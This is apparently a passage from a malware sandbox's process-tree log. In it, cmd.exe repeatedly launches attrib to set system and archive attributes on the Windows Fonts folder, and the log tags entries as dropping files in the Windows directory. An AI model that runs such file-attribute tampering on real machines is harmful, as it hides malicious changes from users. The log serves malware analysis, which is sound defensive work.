C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:456

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1644

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1312

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4436

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5088

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:1236

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1672

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:388

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2652

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:3548

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3984

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:3632

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4208

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:2940

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1708

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1680

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1864

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:2896

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:208

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:1916

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1688

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1056

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1528

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:736

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4004

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:5016

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4904

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:544

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3708

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:2304

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1784

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4712

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1788

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:1268

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4024

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:5108

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1484

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:2760

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:316

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:2008

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3960

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1512

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2316

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4324

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3204

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1452

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1236

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1672

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4628

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2652

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3308

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:1348

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2560

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:752

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4528

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:3384

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4088

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4460

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1968

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2068

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4640

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:3732

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1356

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:112

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2504

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2740

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2812

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1408

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3772

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4964

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2216

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:1100

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4740

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:3012

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1784

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4232

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3724

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4800

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3768

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:1216

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5040

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2760

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1652

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:992

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2584

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4728

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1376

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:2868

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4876

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2356

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2268

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4196

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3444

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2800

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3980

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:632

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3736

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4056

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4304

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4528

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4744

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4088

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4560

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4348

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1056

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1288

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4144

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4992

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1332

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2120

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2936

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:2432

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3248

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4548

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:544

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4000

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2168

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1188

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4752

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:620

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2708

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:612

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1820

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:1548

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5068

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4024

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4996

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1924

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1484

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3104

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3172

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4728

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4520

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:4924

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3748

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1496

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2356

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4972

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3128

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4196

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4772

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2800

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4204

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:3560

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5032

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2560

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3000

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1540

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4304

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4744

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:308

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4560

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2336

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4640

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1732

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1356

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2052

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:672

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2740

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3188

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1740

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3068

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4548

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:4076

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2284

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4288

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1888

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2304

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5000

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4752

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2688

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:2708

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4312

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4664

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4736

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:4636

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4024

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:4716

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4248

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:2756

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2732

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:992

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2012

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:3048

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:424

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:2252

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4296

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:5088

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4876

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3700

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2996

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:2580

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2800

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:5096

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4440

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4092

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2940

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:2080

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5024

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:176

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5100

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1068

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4460

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3384

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2068

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:4704

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1288

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3972

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1528

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2504

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4992

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3188

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1596

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3068

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3812

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:740

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2908

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4820

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2284

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:60

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1888

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:3744

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:5000

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:3184

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3496

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:636

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3420

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:1548

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4664

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4736

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2608

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:2200

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1000

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:3480

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2364

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4780

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1500

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:2412

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:456

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4520

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2556

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4972

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3748

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:1276

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1672

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:2976

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3008

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:1516

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2800

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:3984

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4440

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
